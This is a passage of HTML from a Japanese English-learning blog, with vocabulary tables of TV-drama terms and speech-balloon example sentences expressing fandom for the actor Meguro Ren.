<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">エピソードやシーズンの最終話で視聴者を次回への期待感で惹きつけるような緊迫した結末</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rerun</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">再放送</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>season</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">シーズン。米国のテレビ番組が1年間のうちある期間に放送される際の、エピソードのセット。日本では期。クールは、フランス語で、約3ヶ月間に放送するTV番組の放送回数の単位</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>season finale</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">米国のテレビドラマのシーズンの最終エピソード。重要なストーリーが結末したり、次シーズンへの伏線が張られます</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>spin-off</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">既存テレビドラマから派生した新しいシリーズや作品</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pilot episode</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">アメリカで行われる試験的放送。１話のことを指すことも</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>binge-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）主にテレビドラマや映画などを何時間も連続して視聴し続けること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>marathon-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">特定のテレビ番組や映画シリーズを連続して見ること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>power-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">限られた時間内で最大限のエピソード数や映画を見るために高速で視聴すること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>in one go</strong><br /><strong>in one sitting </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">時間がかかること、複数の処理を一度でで終わらせる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>start filming</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">クランクイン、撮影開始。クランクインは和製英語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>finish filming</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">クランクアップ、撮影終了。クランクアップは和製英語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to tend to ＋ 動詞原形</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜する傾向にある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>concise</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">簡潔でわかりやすい</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:63px;height:auto"/></figure>



<h2 class="wp-block-heading"><strong>めめに沼落ち！もっと推し活頑張ろう！！</strong></h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-2742" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?w=2560&amp;ssl=1 2560w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=600%2C337&amp;ssl=1 600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=1536%2C863&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=2048%2C1151&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong>サイレント</strong>を見て目黒蓮さんに沼落ちした人も多いはず。<strong>「将軍２」</strong>でも彼の魅力に取り憑かれる人も続出するでしょう。そこで、日本語独特の表現「沼落ち」を英語で語ってみましょう。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m big fan of Ren.</strong><br>俺って蓮の大ファンなんだよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffdde5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffdde5"></span><span class="vk_balloon_content_after "></span>
<p><strong>I deeply in loved with her.</strong><br>めめに沼落ちした</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m into his voice. I love his songs, too.</strong><br>私は彼の声にはまったの。歌も大好きなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6d4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6d4"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m crazy about Ren.</strong><br>蓮のことがめちゃくちゃ好き</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#edffed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #edffed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m so hooked on <strong>“Shogun 2”</strong></strong>.<br>「将軍２」にもう夢中なの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fee7e7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fee7e7"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m addicted to Ren. I couldn&#8217;t find my way out!</strong><br>蓮中毒よ！どうしたらいいかわからない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebdcfa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ebdcfa transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m obsessed with Ren!</strong><br>蓮のことしか考えられない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dfeaff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #dfeaff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I love Ren, I&#8217;ve really fallen down the rabbit hole watching ”silent”. </strong><br>「サイレント」見てたら蓮に超ハマってしまったの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9fff1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9fff1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme’s my fave!</strong><br>私はめめ推しなの！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe5d2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe5d2"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is so precious!</strong><br>蓮ってすごく尊いの！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eeddff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #eeddff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme gave me perfect reaction.</strong><br>めめって神対応だったわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2f8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe2f8"></span><span class="vk_balloon_content_after "></span>
<p><strong>The whole world is obsessed with you, Ren.</strong><br>蓮、世界中があなたの虜よ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0f3ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0f3ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme is stunningly handosome.</strong><br>めめって息が止まるほどハンサムね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9fff0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d9fff0"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is drop-dead gorgeous!</strong><br>蓮てば、びっくりするくらいゴージャスね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has killer looks!</strong><br>蓮ってすごくかっこいい！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffdbdb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffdbdb"></span><span class="vk_balloon_content_after "></span>
<p><strong>Having a fave is good for your health and beauty.</strong><br>推しの存在は健康にも美容にもいいのよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fbfbce"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fbfbce transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I am a stan of Meme.</strong><br>めめを激推ししてるの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0c7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff0c7"></span><span class="vk_balloon_content_after "></span>
<p><strong>My ultimate bias is Ren.</strong><br>私の最推しは蓮よ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/RAU_L.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>My stan, Ren, is the best.</strong><br>俺の推し、蓮は最高！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebdef8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ebdef8"></span><span class="vk_balloon_content_after "></span>
<p><strong>No one can beat Meme.</strong><br>めめしか勝たん！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fcff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fcff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is dazzling!</strong><br>蓮が眩しすぎる！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/SAKUMA_R.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2fc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe2fc"></span><span class="vk_balloon_content_after "></span>
<p><strong>Omg, wait no, I can’t, it’s too much.</strong><br><strong><a href="https://youtu.be/7z6_M8QpZ4I?si=LqvxjAAOAaLB8tMF" target="_blank" rel="noopener" title=""><mark style="background-color:#f78da7" class="has-inline-color has-black-color">待って、無理、しんどい</mark></a></strong></p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fdf0cc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fdf0cc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m actually in love with Ren.</strong><br>蓮にリアコなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d7ffef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d7ffef"></span><span class="vk_balloon_content_after "></span>
<p><strong>To say the least, Meme is awesome.</strong><br>めめって控えめに言っても最高</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0e6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0e6ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m so in love with Meme but fan of the whole Snow Man.</strong><br>めめにガチ恋してるけどスノーマンの箱推しなの</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:23px;height:auto"/></figure>


<table style="height: 853px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be obsessed with</strong></td>
<td style="width: 62.9762%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～で頭がいっぱいだ、～のことしか考えられない、～に執着する、～に取りつかれている、～に夢中だ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>deeply in love with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に深く恋に落ちる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be into</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be big fan of</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の大ファン</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be crazy about</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に狂おしいくらいくらい夢中だ</td>
</tr>
